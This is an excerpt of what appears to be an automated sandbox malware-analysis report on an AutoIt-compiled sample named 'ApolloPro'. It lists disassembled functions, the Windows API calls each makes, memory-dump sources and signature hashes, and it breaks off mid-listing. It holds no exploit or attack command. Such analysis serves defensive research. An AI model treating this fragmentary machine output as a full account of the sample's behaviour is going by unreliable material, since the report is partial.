                                                                      • Part of subcall function 007D0FE6: std::exception::exception.LIBCMT ref: 007D101C
                                                                      • Part of subcall function 007D0FE6: __CxxThrowException@8.LIBCMT ref: 007D1031
                                                                    • ReadFile.KERNELBASE(0000FFFF,00000000,0000FFFF,?,00000000), ref: 008176CF
                                                                    • EnterCriticalSection.KERNEL32(?), ref: 008176EB
                                                                    • _memmove.LIBCMT ref: 00817739
                                                                    • _memmove.LIBCMT ref: 00817756
                                                                    • LeaveCriticalSection.KERNEL32(?), ref: 00817765
                                                                    • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 0081777A
                                                                    • InterlockedExchange.KERNEL32(?,000001F6), ref: 00817799
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
                                                                    • String ID:
                                                                    • API String ID: 256516436-0
                                                                    • Opcode ID: 11a3e95c826e116f7847902b8d9c6f91befa4635b68cfdbe39a06d75fffcfd07
                                                                    • Instruction ID: 9de92d93fb545393b6e479ff54afac298a73a94b621747957eea71d031c6999c
                                                                    • Opcode Fuzzy Hash: 11a3e95c826e116f7847902b8d9c6f91befa4635b68cfdbe39a06d75fffcfd07
                                                                    • Instruction Fuzzy Hash: 58317035904109EBDB10EF94DC89EAFB778FF45700F2440AAF904EA296D7749A54CBA0
                                                                    Function 007C50DB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 007C5109
                                                                    • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 007C512A
                                                                    • ShowWindow.USER32(00000000), ref: 007C513E
                                                                    • ShowWindow.USER32(00000000), ref: 007C5147
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$CreateShow
                                                                    • String ID: AutoIt v3$edit
                                                                    • API String ID: 1584632944-3779509399
                                                                    • Opcode ID: 97d1082631bf9a26e66e65661eb2a04d0980a2f3e1f1e324c5c522f34b0fc720
                                                                    • Instruction ID: c8f664586366ee111f4fcd9c77b123f4cdc93ec5220eef58930e4b519f81b6a3
                                                                    • Opcode Fuzzy Hash: 97d1082631bf9a26e66e65661eb2a04d0980a2f3e1f1e324c5c522f34b0fc720
                                                                    • Instruction Fuzzy Hash: 77F017705642947AEA2157236C0CE272E7DF7C6F10F01002ABA18A22B6C6715880DEB0
                                                                    Function 00819B16 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C4A8C: _fseek.LIBCMT ref: 007C4AA4
                                                                      • Part of subcall function 00819CF1: _wcscmp.LIBCMT ref: 00819DE1
                                                                      • Part of subcall function 00819CF1: _wcscmp.LIBCMT ref: 00819DF4
                                                                    • _free.LIBCMT ref: 00819C5F
                                                                    • _free.LIBCMT ref: 00819C66
                                                                    • _free.LIBCMT ref: 00819CD1
                                                                      • Part of subcall function 007D2F85: RtlFreeHeap.NTDLL(00000000,00000000,?,007D9C54,00000000,007D8D5D,007D59C3,?), ref: 007D2F99
                                                                      • Part of subcall function 007D2F85: GetLastError.KERNEL32(00000000,?,007D9C54,00000000,007D8D5D,007D59C3,?), ref: 007D2FAB
                                                                    • _free.LIBCMT ref: 00819CD9
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
                                                                    • String ID: >>>AUTOIT SCRIPT<<<
                                                                    • API String ID: 1552873950-2806939583
                                                                    • Opcode ID: b50995d0106e2991441ca88d625a95fbbabee5c5d2e28d588520b92ccb789615
                                                                    • Instruction ID: a8f12b8eb43745a0bf26b30a2f80de560a8ef2c3ef21664cef81ce085c07febb
                                                                    • Opcode Fuzzy Hash: b50995d0106e2991441ca88d625a95fbbabee5c5d2e28d588520b92ccb789615
                                                                    • Instruction Fuzzy Hash: 2D5157B1904218EBDF249F64DC95AAEBBB9FF48304F0044AEF649A3341DB755A808F59
                                                                    Function 007D563D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
                                                                    • String ID:
                                                                    • API String ID: 1559183368-0
                                                                    • Opcode ID: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
                                                                    • Instruction ID: ae98f8839e3b9f94269e7e7fc5b2f8f249fcdf09859d395a56468577d8e679c1
                                                                    • Opcode Fuzzy Hash: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
                                                                    • Instruction Fuzzy Hash: FE51BE30A00B05DBDB248FA9C88466EBBB6AF50730F74876BF825963D0D778DD509B40
                                                                    Function 007B52B0 Relevance: 7.6, APIs: 5, Instructions: 99windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 007B52E6
                                                                    • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 007B534A
                                                                    • TranslateMessage.USER32(?), ref: 007B5356
                                                                    • DispatchMessageW.USER32(?), ref: 007B5360
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Message$Peek$DispatchTranslate
                                                                    • String ID:
                                                                    • API String ID: 1795658109-0
                                                                    • Opcode ID: 05112817c2689bbf5dc2e98677ebd067193276a849c1292628edb46add6abc73
                                                                    • Instruction ID: a38bd63ba8779781ece96d8b992f41a536efb2de2a68bdb5e10798a1f758a10f
                                                                    • Opcode Fuzzy Hash: 05112817c2689bbf5dc2e98677ebd067193276a849c1292628edb46add6abc73
                                                                    • Instruction Fuzzy Hash: FA31E470508B469BEB30CB64DC48FFA77E8BB05348F24006AE526972E1D7BDD885DB11
                                                                    Function 007B1284 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,007B1275,SwapMouseButtons,00000004,?), ref: 007B12A8
                                                                    • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,007B1275,SwapMouseButtons,00000004,?), ref: 007B12C9
                                                                    • RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,007B1275,SwapMouseButtons,00000004,?), ref: 007B12EB
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: CloseOpenQueryValue
                                                                    • String ID: Control Panel\Mouse
                                                                    • API String ID: 3677997916-824357125
                                                                    • Opcode ID: 1cd73c21871cfd8d974d7bbb7b4b76f8d2eea1a20a078af2796194a0b9e44b63
                                                                    • Instruction ID: 6c1a1aa56a77f994d270241eea74b945264221c33505ae3cd5c58c75e818a501
                                                                    • Opcode Fuzzy Hash: 1cd73c21871cfd8d974d7bbb7b4b76f8d2eea1a20a078af2796194a0b9e44b63
                                                                    • Instruction Fuzzy Hash: 00111575610208BFDB208FA4DC84BEFBBA8FF05741F908569E905D7210E6759E409BA4
                                                                    Function 007C5B29 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 007C5B58
                                                                      • Part of subcall function 007C56F8: _memset.LIBCMT ref: 007C5787
                                                                      • Part of subcall function 007C56F8: _wcscpy.LIBCMT ref: 007C57DB
                                                                      • Part of subcall function 007C56F8: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 007C57EB
                                                                    • KillTimer.USER32(?,00000001,?,?), ref: 007C5BAD
                                                                    • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 007C5BBC
                                                                    • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00800D7C
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
                                                                    • String ID:
                                                                    • API String ID: 1378193009-0
                                                                    • Opcode ID: 2b398298743a82b5a3df442a01725bff0d65ac1a8d1d758094e6076ce29573f9
                                                                    • Instruction ID: 6034c9c475447cb455e9e116939f545e261e5c7b7126a48aa32359c96b4df4f5
                                                                    • Opcode Fuzzy Hash: 2b398298743a82b5a3df442a01725bff0d65ac1a8d1d758094e6076ce29573f9
                                                                    • Instruction Fuzzy Hash: EE21B6B49047849FE7728B648C99FEABFECAF01308F04058DE69A96281C77579C4DB51
                                                                    Function 007C278A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 260COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C49C2: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,007C27AF,?,00000001), ref: 007C49F4
                                                                    • _free.LIBCMT ref: 007FFB04
                                                                    • _free.LIBCMT ref: 007FFB4B
                                                                      • Part of subcall function 007C29BE: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 007C2ADF
                                                                    Strings
                                                                    • Bad directive syntax error, xrefs: 007FFB33
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _free$CurrentDirectoryLibraryLoad
                                                                    • String ID: Bad directive syntax error
                                                                    • API String ID: 2861923089-2118420937
                                                                    • Opcode ID: 18e88f0e9dc3978f787c42943fcbea25aebd4e1605e475facb4e68663b9ad43e
                                                                    • Instruction ID: 214fdfdf8a9c7602e0076a050915ee27e8247f3a1f94d1072d100b83d3f3dea9
                                                                    • Opcode Fuzzy Hash: 18e88f0e9dc3978f787c42943fcbea25aebd4e1605e475facb4e68663b9ad43e
                                                                    • Instruction Fuzzy Hash: 0B915C71910219EFCF14EFA4C895AEDBBB4FF05310B14842EE915EB392DB78A945CB50
                                                                    Function 00819CF1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007C4AB2: __fread_nolock.LIBCMT ref: 007C4AD0
                                                                    • _wcscmp.LIBCMT ref: 00819DE1
                                                                    • _wcscmp.LIBCMT ref: 00819DF4
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _wcscmp$__fread_nolock
                                                                    • String ID: FILE
                                                                    • API String ID: 4029003684-3121273764
                                                                    • Opcode ID: 49e6286671abee1c10c7940b3952f85ca3d1b461ea39d7a0b6553cf4dc41b1a8
                                                                    • Instruction ID: 88120f99675b41a2aabc6be29146a29a06cafd9473c2f0c3e1033c24fc11f4cb
                                                                    • Opcode Fuzzy Hash: 49e6286671abee1c10c7940b3952f85ca3d1b461ea39d7a0b6553cf4dc41b1a8
                                                                    • Instruction Fuzzy Hash: C541F871A40209BADF20DAA4CC59FEF7BBDEF45710F00446EF940E7280DA7599448B65
                                                                    Function 007C31BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 0080032B
                                                                    • GetOpenFileNameW.COMDLG32(?), ref: 00800375
                                                                      • Part of subcall function 007D0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,007C2A58,?,00008000), ref: 007D02A4
                                                                      • Part of subcall function 007D09C5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 007D09E4
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Name$Path$FileFullLongOpen_memset
                                                                    • String ID: X
                                                                    • API String ID: 3777226403-3081909835
                                                                    • Opcode ID: a085c3baaad677d5e282294a051522edcbc9558dd20e47c6f42766f8c5d4155f
                                                                    • Instruction ID: bdc65b37eb6baa1719fcca94999007672f681620927ef0ac815744ad8b5fa65e
                                                                    • Opcode Fuzzy Hash: a085c3baaad677d5e282294a051522edcbc9558dd20e47c6f42766f8c5d4155f
                                                                    • Instruction Fuzzy Hash: 64218171A042889BDF41DFD4C849BEE7BF8AF49310F00405EE504E7241DBB95A89DFA1
                                                                    Function 0082D1C6 Relevance: 4.9, APIs: 3, Instructions: 392COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 1827a42c68a74f5b842ef747767888c74bb781aca5ab6a9b100df6668cae788f
                                                                    • Instruction ID: 6e9992426e231d7dbec6ddc3dda7ff6fd141abf4f0eb5e51a92305bb9e83c95a
                                                                    • Opcode Fuzzy Hash: 1827a42c68a74f5b842ef747767888c74bb781aca5ab6a9b100df6668cae788f
                                                                    • Instruction Fuzzy Hash: 6EF125706083119FC714DF28D584A6ABBE5FF88318F14892EF8999B252D734E985CF82
                                                                    Function 007BAAAA Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007D07BB: MapVirtualKeyW.USER32(0000005B,00000000), ref: 007D07EC
                                                                      • Part of subcall function 007D07BB: MapVirtualKeyW.USER32(00000010,00000000), ref: 007D07F4
                                                                      • Part of subcall function 007D07BB: MapVirtualKeyW.USER32(000000A0,00000000), ref: 007D07FF
                                                                      • Part of subcall function 007D07BB: MapVirtualKeyW.USER32(000000A1,00000000), ref: 007D080A
                                                                      • Part of subcall function 007D07BB: MapVirtualKeyW.USER32(00000011,00000000), ref: 007D0812
                                                                      • Part of subcall function 007D07BB: MapVirtualKeyW.USER32(00000012,00000000), ref: 007D081A
                                                                      • Part of subcall function 007CFF4C: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,007BAC6B), ref: 007CFFA7
                                                                    • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 007BAD08
                                                                    • OleInitialize.OLE32(00000000), ref: 007BAD85
                                                                    • CloseHandle.KERNELBASE(00000000), ref: 007F2F56
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                                                    • String ID:
                                                                    • API String ID: 1986988660-0
                                                                    • Opcode ID: fcd4b20e884ca6ec3317d62fb53c37e4c7c784120df25279c89906da39302bf7
                                                                    • Instruction ID: 09f32f27e346977e05989f776d37f38967e9ddfcca072bfd31de58671d6e2f12
                                                                    • Opcode Fuzzy Hash: fcd4b20e884ca6ec3317d62fb53c37e4c7c784120df25279c89906da39302bf7
                                                                    • Instruction Fuzzy Hash: 2D81A7B09093408EC398EF69AC8CA157FE8FB5930475085AAD61CC737AE7348488CF58
                                                                    Function 007C59D3 Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 007C59F9
                                                                    • Shell_NotifyIconW.SHELL32(00000000,?), ref: 007C5A9E
                                                                    • Shell_NotifyIconW.SHELL32(00000001,?), ref: 007C5ABB
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: IconNotifyShell_$_memset
                                                                    • String ID:
                                                                    • API String ID: 1505330794-0
                                                                    • Opcode ID: d590b58affe56e88a329e6487eb43cc1f897ca8d310820afdfc33f861e23ac13
                                                                    • Instruction ID: b2baebeceecde3a6e563628b136fd361f7725f0eae8f8a6fc7028a1364ef2aa6
                                                                    • Opcode Fuzzy Hash: d590b58affe56e88a329e6487eb43cc1f897ca8d310820afdfc33f861e23ac13
                                                                    • Instruction Fuzzy Hash: FC316470515701CFD720DF25D884B9BBBF4FB59304F004A2EF59A86251E775A984CB52
                                                                    Function 007D593C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __FF_MSGBANNER.LIBCMT ref: 007D5953
                                                                      • Part of subcall function 007DA39B: __NMSG_WRITE.LIBCMT ref: 007DA3C2
                                                                      • Part of subcall function 007DA39B: __NMSG_WRITE.LIBCMT ref: 007DA3CC
                                                                    • __NMSG_WRITE.LIBCMT ref: 007D595A
                                                                      • Part of subcall function 007DA3F8: GetModuleFileNameW.KERNEL32(00000000,008753BA,00000104,?,00000001,007D1003), ref: 007DA48A
                                                                      • Part of subcall function 007DA3F8: ___crtMessageBoxW.LIBCMT ref: 007DA538
                                                                      • Part of subcall function 007D32CF: ___crtCorExitProcess.LIBCMT ref: 007D32D5
                                                                      • Part of subcall function 007D32CF: ExitProcess.KERNEL32 ref: 007D32DE
                                                                      • Part of subcall function 007D8D58: __getptd_noexit.LIBCMT ref: 007D8D58
                                                                    • RtlAllocateHeap.NTDLL(01540000,00000000,00000001,?,?,?,?,007D1003,?,0000FFFF), ref: 007D597F
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
                                                                    • String ID:
                                                                    • API String ID: 1372826849-0
                                                                    • Opcode ID: 5d69cad9628376228225b0f1e639cc06660e124aa2318ea0faf1f0f74a4d2de7
                                                                    • Instruction ID: 2a6e6c41a81886fd85b4bad1a4cb4059259c3e3361ec47fd574b35e885bf6358
                                                                    • Opcode Fuzzy Hash: 5d69cad9628376228225b0f1e639cc06660e124aa2318ea0faf1f0f74a4d2de7
                                                                    • Instruction Fuzzy Hash: 7401F931341B01DBD7112735AC65B2E3379AF52770F500127F5599B3D1DE7CAD404662
                                                                    Function 008192C8 Relevance: 4.5, APIs: 3, Instructions: 22COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _free.LIBCMT ref: 008192D6
                                                                      • Part of subcall function 007D2F85: RtlFreeHeap.NTDLL(00000000,00000000,?,007D9C54,00000000,007D8D5D,007D59C3,?), ref: 007D2F99
                                                                      • Part of subcall function 007D2F85: GetLastError.KERNEL32(00000000,?,007D9C54,00000000,007D8D5D,007D59C3,?), ref: 007D2FAB
                                                                    • _free.LIBCMT ref: 008192E7
